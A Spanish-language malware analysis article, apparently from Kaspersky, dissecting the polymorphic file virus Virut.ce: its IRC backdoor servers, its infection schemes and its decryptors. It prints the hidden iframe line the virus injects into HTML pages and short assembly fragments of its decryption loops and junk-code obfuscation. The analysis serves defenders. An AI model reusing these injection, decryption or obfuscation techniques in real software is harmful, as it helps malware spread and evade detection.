Noticias

Análisis de Virus.Win32.Virut.ce

Introducción

El presente artículo está dedicado al virus polimórfico Virus.Win32.Virut, para ser más exactos a su modificación “.ce”

Pero ¿por qué escogimos precisamente a Virut.ce?

Virut.ce es uno de los programas maliciosos infecciosos más populares, que penetran a los ordenadores de los usuarios. El virus infecta los ficheros ejecutables usando los métodos más modernos, de tal manera que resulta difícil encontrar, detectar y curar los ficheros. En el presente, se usa con más frecuencia el polimorfismo server-side para la propagación masiva de ficheros maliciosos. La inoculación de infecciones en los ficheros no es tan popular como, por ejemplo, hace cinco años, en vista de que el nivel de emulación de los ficheros ha alcanzado un nivel muy alto. Hay que reconocer los méritos de los desarrolladores de Virut.ce: no han retrocedido ante las dificultades que se les presentaron al inocular los ficheros ejecutables.

Las tecnologías implementadas en Virut.ce reflejan muy bien los métodos más modernos usados para crear programas maliciosos. En él se usa activamente la antiemulación y antidepuración (anti-debugging). Para ser más exactos, se usa el cálculo de deltas obtenidas mediante la serie de instrucciones rdtsc, la función API GetTickCount y la llamada múltiple de una función API falsa.

Virut es el único virus que cambia, por término medio, una vez por semana, lo que indica que sus desarrolladores hacen un seguimiento ininterrumpido de las bases antivirus y reaccionan de inmediato a la aparición de nuevas firmas, actualizando el virus para evitar su detección. Es curioso que el método de actualización de las versiones del programa malicioso hay sido muy bien pensado y realizado mediante ficheros html infectados.

En este artículo se analizarán las técnicas de infección de los ficheros. También prestaremos atención a la técnica de enmarañamiento (obfuscation) que ocurre cada vez que se infecta un fichero ejecutable. De forma adicional, se mostrará la evolución de los diferentes componentes del virus, desde su aparición hasta el presente. Toda la estadística usada en el artículo ha sido obtenida con la ayuda de las tecnologías KSN Kaspersky Security Network.

Breve repaso de la estadística y la propagación

La primera modificación del virus Virut, con el sufijo .a había aparecido ya a mediados de 2006. A continuación tuvo lugar un desarrollo paulatino del programa malicioso, que condujo a la aparición de la modificación “q” en septiembre de 2007.

Esta modificación fue muy popular en su tiempo, pero ahora es raro encontrarla. Los desarrolladores dejaron de brindar soporte completo a Virut.q en la segunda mitad de 2008. En la primera semana de febrero de 2009 se registró la aparición de la modificación “ce”. Al parecer, los delincuentes usaron el intervalo entre el momento en que cesó de funcionar la modificación “q” y la publicación de “ce” para desarrollar nuevos métodos de infección, algoritmos de cifrado y métodos de antiemulación.

En adelante por “Virut”, “virus”, etc. entenderemos la variante Virus.Win32.Virut.ce.

En el presente la modificación Virut.ce está en el segundo lugar entre todos los Virus.Win32.*.* detectados en los ordenadores de los usuarios.

 
TOP20 de virus detectados, enero – mayo de 2010

En el gráfico de abajo se puede ver con claridad que a medida que pasa el tiempo va creciendo la velocidad de propagación de Virut.ce.

 
Dinámica de las infecciones de ordenadores provocadas por Virut.ce, mayo de 2009 – mayo de 2010

El virus se propaga mediante ficheros infectados, tanto ejecutables como html, o a través de pequeños programas destinados a hackear el software legítimo. Por lo general, se trata de generadores de llaves (keygen) y utilidades de modificación directa de ficheros (crack). Para ser más concretos, la infección se realiza por medio de ficheros RAR-SFX con nombres que hablan por sí mismos, como “codename_panzers_cold_war_key.exe” y “advanced_archive_password_recovery_4.53_key.exe”. Cuando el usuario ejecuta el archivo, con él también se ejecuta el ejemplar de Virut en forma del virus original propagado por los desarrolladores o como fichero infectado.

Funcionalidades del virus

Ha llegado el momento de analizar el aspecto más importante: las funcionalidades del virus. Como sabemos, la aplastante mayoría de los programas maliciosos se crean con el objetivo concreto de lucrar. Y Virut no es una excepción. En esencia, es un Backdoor que primero trata de incrustarse en el espacio de direcciones de “explorer.exe” (“services.exe”, “iexplore.exe”) para después conectarse por IRC a las direcciones irc.zief.pl y proxim.ircgalaxy.pl, desde la cuales espera recibir instrucciones del servidor. Todo es bastante estándar, incluso el intento de cerrar diferentes procesos, cuya lista vemos en la captura de pantalla de más abajo. En esta lista también están presentes los procesos de los programas antivirus “nod32”, “rising”, “f-secure”, etc.

 
Captura de pantalla de un fragmento descifrado del cuerpo estático de Virut.ce, que contiene los nombres de los procesos que el virus va a cerrar

Es bastante interesante la infección de todos los ficheros *.htm y *.html. A éstos se les añade el siguiente renglón: <iframe src = http://jl.*****.pl/rc/ style = “display:none”></iframe>. De este vínculo se descargará la última versión de Virut por medio de una vulnerabilidad en un fichero PDF. De versión en versión (en los límites de la modificación “ce”), este renglón puede sufrir grandes cambios, por ejemplo la letra “u” es reemplazada por “&#117”, que es su equivalente. Para el navegador, este cambio no tiene ninguna importancia, pero las firmas estáticas se hacen inútiles.

Apariencia general de la infección y técnica de infección

Para inocular la infección, el virus Virut.ce usa la tecnología EPO o reescritura del punto de entrada. Junto con este método, se usan uno o dos descriptores polimórficos.

La técnica EPO (Entry Point Obscuring), “ocultamiento del punto de entrada” consiste en dificultar la detección de la transición al cuerpo del virus. Esto suele hacerse cambiando una instrucción al azar o el parámetro de la instrucción de transición. Abajo mostramos un ejemplo de sustitución de instrucción y sentido de la dirección de la transición.

 
Ejemplo de infección mediante la técnica EPO

Por “reescritura del punto de entrada” entendemos la modificación del encabezado PE del fichero, es decir, la reescritura del campo AddressOfEntryPoint de la estructura IMAGE_NT_HEADERS32. De esto se desprende que lo primero que se ejecuta en el fichero es la parte del virus.

Como ya hemos dicho, durante la inoculación de la infección el virus agrega sólo uno o dos descriptores. Los llamaremos “Init” y “Main”. Si bien el descriptor Main se encuentra en todos los ficheros infectados por Virut.ce, no ocurre lo mismo con Init. Analicemos con más detalle el propósito y el aspecto general de este descriptor.

La principal función del descriptor Init es descifrar la primera “capa” del cuerpo principal del virus, para después encomendarle el control, pero aún después del descifrado, la mayor parte del cuerpo del virus sigue estando cifrada. El descriptor Init es un pequeño código de 0x100 a 0x900 bytes, que contiene instrucciones en su mayoría inútiles y que se usan para desorientar a las firmas antivirus. El descriptor se encuentra ubicado al final de la sección de código, si allí existe una cantidad suficiente de ceros. Su lógica de trabajo es la siguiente:

  1. escribir en el registro el tamaño del sector cifrado;
  2. efectuar operaciones lógicas o aritméticas con el sector cifrado con una llave constante;
  3. incrementar o disminuir el indicador que apunta al sector cifrado;
  4. paso cíclico al punto 2 hasta que todo el cuerpo sea descifrado.

El cuerpo principal del virus tiene un tamaño de desde 0x4000 hasta 0x6000 bytes y se encuentra al final de la última sección, aumentada especialmente para este objetivo y a la que se le asignan banderas de escritura, ejecución y lectura.

De esta manera resultan cuatro posibles variantes de infección:

    Init Decryptor + EPO:

 

    Init Decryptor + modificación de EP:

 

    Sólo EPO:

 

    Sólo reescritura del punto de entrada.

 

Los cuatro esquemas aducidos reflejan íntegramente todas las variantes posibles de infección y modificación de la estructura del fichero.

Desciframiento inicial del cuerpo de Virut.ce

Antes de pasar al análisis de las funcionalidades del cuerpo del virus, analizaremos el descriptor Init en un fichero real infectado.

 
Fragmento del fichero infectado por Virus.Win32.Virut.ce, donde está presente el descriptor Init

 
Código desensamblado del descriptor Init

Más arriba hay dos capturas de pantalla. La primera es un fragmento del fichero infectado calc.exe. Se han marcado adicionalmente los límites de la sección del Init del descriptor. En la segunda captura de pantalla vemos el código desensamblado del descriptor Init. En la figura se han marcado con óvalos los cuatro elementos lógicos que ya hemos mencionado. En este ejemplo el registro ecx se rellena con la ayuda de instrucciones consecutivas push-pop y el descifrado se efectúa con la ayuda de adc. Pero esto no siempre fue así. Virut.ce ha evolucionado mucho en un año y con él, también ha evolucionado el descriptor de Init. La inscripción en el registro del tamaño del cuerpo ha cambiado sólo una vez (mov reg, dword cambió a push dword), pero pop reg -el desciframiento en sí- ha cambiado varias veces (en orden cronológico):

  1. ADD/SUB [mem], dword;
  2. ROL/ROR [mem], byte;
  3. ADC/SBB [mem], byte;
  4. ADD/SUB [mem], byte;
  5. ADD/SUB [mem], word;
  6. ADC/SBB [mem], word;
  7. ADC/SBB [mem], dword;

Después de haber estudiado el esquema general de la infección y el procesamiento inicial del cuerpo principal del virus, podemos pasar a estudiar los mecanismos de ejecución de la mayor parte de Virut, la cual siempre se encuentra al final de la última sección.

Recuperación del código original

Todo el código del cuerpo principal se puede dividir en tres grupos según su fin: recuperación de la función/punto de entrada original, desciframiento del cuerpo estático y ejecución de las funciones maliciosas.

Antes de empezar a ocuparnos del análisis de cada elemento, fijemos nuestra mirada en la estructura del cuerpo y el fragmento correspondiente del fichero.


Estructura del cuerpo principal de Virut.ce

Como podemos ver en la figura, la totalidad del cuerpo principal agregado al final de la última sección del código se divide en dos tipos: cuerpo cifrado estático y código ejecutable. La parte ejecutable contiene un código que ejecuta la antiemulación, reestablece el punto de entrada o función original y descifra el cuerpo estático. Esta parte está distribuida uniformemente por todo el cuerpo principal y puede constar de un solo pedazo o estar dividida en dos partes. Es interesante el hecho de que la parte ejecutable, además, está muy enmarañada. Para las compañías antivirus esta es una de las dificultades para la detección, ya que no hay elementos estáticos en el fichero fuente y el cuerpo estático siempre viene cifrado con diferentes llaves o algoritmos, pero esto lo veremos más adelante.

 
Fragmento de un fichero que contiene el cuerpo principal de Virus.Win32.Virut.ce

Arriba vemos la captura de pantalla de un fragmento de un fichero infectado por Virus.Win32.Virut.ce. Con un óvalo rojo hemos marcada la parte ejecutable del cuerpo principal del virus, que también se puede encontrar visualmente por la gran concentración de bytes 0. En este ejemplo el virus no utilizó el descriptor Init durante la inoculación, porque de ser así todos los sectores tendrían casi la misma apariencia y estarían cifrados.

Empecemos a analizar el bloque responsable de la recuperación de la parte original del fichero. La lógica de funcionamiento de este bloque se puede representar de la siguiente manera:

  1. CALL con una pequeña delta de transición;
  2. guardar el contenido original de los registros;
  3. rellenar el registro con una dirección EBX que apunte a kernel32.dll;
  4. calcular el indicador a la instrucción que sigue al CALL del parágrafo 1;
  5. operación aritmética/lógica con la dirección obtenida en el parágrafo 4.

Es necesario hacer notar que el virus aplica la técnica EPO sólo si encuentra la llamada de una función API desde kernel32.dll. Al mismo tiempo, la búsqueda se lleva a cabo tanto a través del código operativo 0x15FF, como del 0xE8, con el consiguiente JMP (0x25FF). Si se encuentra esta función, se la reemplaza por la instrucción JMP (0XE9), que a su vez apunta al párrafo del esquema anterior. En el registro EBX se deposita la dirección de la función reemplazada de kernel32.dll, pero si sólo se modificó el punto de entrada, se pone en el registro el valor (ESP + 24), es decir, la dirección de regreso de la aplicación a kernel32.dll. En adelante, el contenido de este registro se usará para obtener las direcciones de las funciones exportadas desde la biblioteca. Cuando se aplique la técnica EPO el valor (ESP +20) contendrá la dirección de la instrucción que sigue a la llamada de la función API modificada, de lo contrario, contendrá el punto de entrada original.

En el caso más simple, si excluimos el enmarañamiento, , la recuperación del punto de entrada o la función en el código assembler ocurrirá de la siguiente manera (considerando que se reemplazó la función GetModuleHandleA):

CALL $ + 5
PUSHAD
MOV EBX, [GetModuleHandleA]
XOR [ESP + 20h], Key

Este código corresponde en su totalidad a la lógica de funcionamiento de todo el bloque. Ahora seguiremos los cambios de todas las etapas en el tiempo. El único punto que no analizaremos en profundidad es el segundo (la conservación del contenido original de los registros), ya que este elemento siempre se implementa mediante la instrucción PUSHAD.

Ahora empezaremos a analizar con más detalle cada una de las etapas del esquema lógico de funcionamiento del bloque.

La primera etapa –la llamada de la instrucción CALL- casi no ha cambiado. Al principio era simplemente CALL $ + 5, un poco después, CALL $ + 6(7,8), a continuación CALL $ + 0xFFFFFFFx, es decir, una llamada “atrás”. A pesar de que pueda parecer que esta etapa no tiene ninguna importancia y que se podría proceder sin ella, esto no es así. Después de ejecutar esta instrucción, en la pila se pone la dirección de la siguiente instrucción. Esta dirección se usa para recuperar el punto de entrada/función original y también para las direcciones de las llaves de descifrado y el principio del cuerpo estático. Nos referiremos una vez más a esta dirección cuando analicemos el descriptor Main.

La etapa número 3 cambia con más frecuencia en comparación con el elemento que acabamos de estudiar. Estas son las posibles variantes de ejecución:

  • MOV EBX, [ApiFunc]/MOV EBX, [ESP + 24h];
  • PUSH [ApiFunc]/[ESP + 24h]; POP EBX;
  • SUB ESP, xxh; PUSH [ESP + 24h + xx]; POP EBX;
  • LEA EBX, [ESP + xxh]; MOV EBX, [EBX + 24h – xx];
  • ADD ESP, 28h; XCHG [ESP – 4], EBX;

No hemos expuesto todas las variantes posibles, pero se puede observar la llave de la evolución, que es la adición de manipulaciones intermedias con los registros ESP, EBX.

Analicemos la última etapa, la recuperación de la dirección del punto original de entrada o la dirección del CALL modificado. Su modificación es casi constante, cada 2 o 3 semanas.

Después de la llamada de la instrucción PUSHAD el indicador de la pila-registro ESP se redujo a 0x20, por lo tanto, en (ESP + 20) se encontrará un valor rellenado por la última instrucción CALL. A este valor se le aplicará una operación aritmética/lógica y así obtendremos el valor que necesitamos.

Abajo aducimos una parte de las posibles variantes de secuencias de instrucciones que ejecutan las acciones descritas arriba:

  • XOR/AND/OR/ADD/SUB [ESP + 20h], const;
  • MOV [ESP + 20h], const;
  • LEA EBP, [ESP + x]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG [EBX + 20h – x], EBP;
  • MOV EBX, ESP; PUSH const; POP [EBX + 20h];
  • PUSH const; POP [ESP + 20h].

Aquí tampoco exponemos todas las posibles variantes, pero la tendencia general sigue estando patente: se agregan diferente operaciones intermedias.

En la captura de pantalla de abajo tenemos un fragmento del fichero infectado, que contiene todas las operaciones antes mencionadas (marcadas con un óvalo rojo).

Captura de pantalla de un fichero infectado por Virus.Win32.Virut.ce, que contiene el código de recuperación del punto original de entrada.


Hemos quitado la ofuscación de este ejemplo de código para simplificar la comprensión, pero ésta se usa activamente en todos las secciones del fichero reescrito por el virus (el descriptor Init y toda la parte ejecutable del cuerpo principal). Es justo el enmarañamiento lo que limita el uso de firmas estáticas, ya que después de aplicarlo, el código cambia del todo (en su contenido, pero no en sus funcionalidades). Los siguientes son ejemplos de instrucciones que se usan en calidad de “basura”, es decir, que no cumplen ninguna función:

Un par de XCHG reg1, reg2; XCHG reg2, reg1;
Un par de SUB reg1, reg2; ADD reg1, reg2;
MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg, [REG];
CLD, CLC, STC, CMC, etc.

Por “reg1” y “reg2” se sobreentiende cualquier tipo de registros y por “reg”, registros iguales, dentro de los límites de una expresión.

Operaciones aritméticas/lógicas donde el operando derecho es aleatorio: ADC reg, const; SBB reg, const; XOR reg, const, etc. En las capturas de pantallas siguientes los elementos de enmarañamiento están marcadas con un óvalo rojo:

 
Capturas de pantallas que contienen el código del cuerpo principal del virus.
Los óvalos rodean los elementos de enmarañamiento

En la captura de la izquierda se ve muy bien que las instrucciones inútiles ocupan el 70-80% del código.

No hemos qmostrado todas las posibles variantes de enmarañamiento, sino las usadas con más frecuencia. De versión en versión se agregan nuevas variantes.

Hemos analizado la primera parte de la ejecución del cuerpo principal del virus. Dejaremos de lado las etapas en las que se ejecutan diversos trucos antiemulación y antidepuración para pasar directamente al descriptor Main.

Desciframiento del cuerpo principal

La transición al código responsable del desciframiento se realiza después de las preparaciones iniciales del virus: recuperación del código modificado, creación del objeto nombrado, obtención de las direcciones de las funciones usadas y de los anticiclos.

Es interesante que si analizamos el descriptor Main desde el desensamblador, el código tendrá un aspecto privado de sentido, ya que se llamará la instrucción RETN, que entregará el mando a un lugar completamente aleatorio. Y todo porque antes de empezar a ejecutar el desciframiento en sí, la instrucción RETN (0C3h) se cambia por la CALL (0E8h). Esto se hace mediante una instrucción similar a ADD/SUB/XOR [EBP + xx], bytereg,

donde EBP apunta a la dirección de la instrucción que sigue a CALL y bytereg es uno de los registros de bytes.

Por consiguiente, se puede considerar que el ciclo de desciframiento empezará después de reemplazar RETN por CALL. Después sigue un ciclo de desciframiento que está enmarañado, de la misma manera que el resto del cuerpo. La cantidad de algoritmos utilizados es bastante grande, y además no son elementales, como los utilizados en el descriptor Init. Como regla se usan de dos a seis operaciones lógicas/aritméticas agrupadas. En todos los algoritmos el registro EDX contiene una llave de desciframiento y el EAX, la dirección virtual del comienzo del cuerpo estático. Los registros se rellenan mediante instrucciones similares a:

MOVZX/MOV dx/edx, [ebp + const] LEA eax, [ebp + const]

El EBP contiene una dirección que sucede a la instrucción CALL, que ya hemos mencionado durante el análisis de la primera etapa del esquema lógico responsable de la recuperación de la parte original del fichero. Las instrucciones responsables de estas dos operaciones también han sufrido cambios, pero no las analizaremos aquí.

Es bastante difícil reflejar toda la variedad de los algoritmos utilizados, por lo que aduciremos sólo los más interesantes:

ROL DX, 4
XOR [EAX], DL
IMUL EDX, EDX, 13h

ADD [EAX], DL
ROL DX, 5
IMUL EDX, 13h

XOR [EAX], DH
ADD [EAX], DL
XCHG DH, DL
IMUL EDX, 1Fh

XOR [EAX], DH
XCHG DH, DL
ADD [EAX], DH
IMUL EDX, 1Fh

XOR [EAX], DL
ADD [EAX], DH
IMUL EDX, 2Bh
XCHG DH, DL

De versión en versión tuvo lugar el cambio de las instrucciones usadas, pero no nos ha sido posible observar una tendencia marcada, porque los algoritmos relativamente simples se cambiaban por otros bastante complejos y viceversa. Al parecer, el objetivo principal de los desarrolladores era usar un algoritmo a prueba de análisis. Con esto se puede explicar tanto el cambio constante de los algoritmos, como la ausencia de lógica en los cambios.


Fragmento desensamblado del descriptor Main

Arriba mostramos una captura de pantalla que contiene un fragmento del código desensamblado del descriptor Main. El óvalo rojo rodea las instrucciones “útiles” que hemos estado analizando con anterioridad. Aquí también hay operaciones inútiles, que son producto del enmarañamiento.

Continuando el relato de la ejecución del fichero infectado, pasemos a la ejecución de las funciones maliciosas del fichero en el cuerpo estático ya descifrado. Su ejecución, como regla, empieza con la instrucción CALL con una pequeña transición delta, que sirve para calcular la dirección virtual del inicio de la ejecución y usarla para el consiguiente direccionamiento.

 
Cuerpo estático descifrado del virus

En la captura de pantalla se muestra el cuerpo estático descifrado del virus. Los óvalos rojos rodean los renglones que corresponden a determinadas funciones maliciosas. Por ejemplo, “JOIN” y “NICK” son instrucciones IRC; “irc.zief.pl proxim.ircgalaxy.pl”, servidores IRC remotos a los que Virut trata de conectarse y “SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList” es la llave del registro donde se encuentra la lista de programas que el cortafuegos de Windows considera de confianza.

Conclusión

Virut.ce representa interés no sólo por sus funcionalidades maliciosas, que son bastante banales, sino por la variedad de métodos de infección de ficheros, su polimorfismo, su enmarañamiento, etc. Antes de que apareciese esta modificación de Virut, casi no existían virus que implementasen las tecnologías que él usa. Sí existían programas maliciosos fuertemente enmarañados y que usaban diversas formas de antiemulación, pero en el caso de Virut.ce todos estos mecanismos funcionan en un solo virus. Y estos han sido los mecanismos que hemos estudiado en este artículo.

Por supuesto, en el artículo no hemos expuesto toda la información sobre Virut.ce, pero tampoco era esa nuestra tarea. Podríamos haber examinado la comunicación del virus con el servidor IRC o todos los avatares de la infección de los ficheros, pero nos hemos dedicado sólo a los principales mecanismos del funcionamiento de Virut. Tampoco hemos realizado un análisis profundo de la antiemulación, para evitar que la información publicada no sea aprovechada por los delincuentes.

Es bastante difícil determinar cuáles serán las perspectivas futuras del virus. A pesar de que de abril a mayo de 2010 no se detectaron nuevas versiones de Virut.ce, esto no significa que su desarrollo se haya detenido. Es muy posible que los creadores del virus se hayan tomado una pausa para introducir en el virus cambios que dificulten que los antivirus lo detecten.

En la actualidad todos los productos de Kaspersky Lab detectan y curan con éxito Virus.Win32.Virut.ce. Si en el futuro se encuentra una nueva modificación del virus, su identikit se añadirá a nuestras bases sin demora.

Esperamos que este artículo sea útil a los analistas de virus y a las personas que se dedican al análisis de programas maliciosos. En este momento la antiemulación y la antidepuración están presentes en la mayoría de los programas maliciosos propagados mediante el polimorfismo server-side. La comprensión de las tecnologías implementadas en Virut.ce ayudará a orientarse en estos programas maliciosos y en los virus polimórficos que usan trucos similares.

Análisis de Virus.Win32.Virut.ce

Su dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

 

Informes

BlindEagle vuela alto en LATAM

Kaspersky proporciona información sobre la actividad y los TTPs del APT BlindEagle. Grupo que apunta a organizaciones e individuos en Colombia, Ecuador, Chile, Panamá y otros países de América Latina.

MosaicRegressor: acechando en las sombras de UEFI

Encontramos una imagen de firmware de la UEFI infectada con un implante malicioso, es el objeto de esta investigación. Hasta donde sabemos, este es el segundo caso conocido en que se ha detectado un firmware malicioso de la UEFI usado por un actor de amenazas.

Suscríbete a nuestros correos electrónicos semanales

Las investigaciones más recientes en tu bandeja de entrada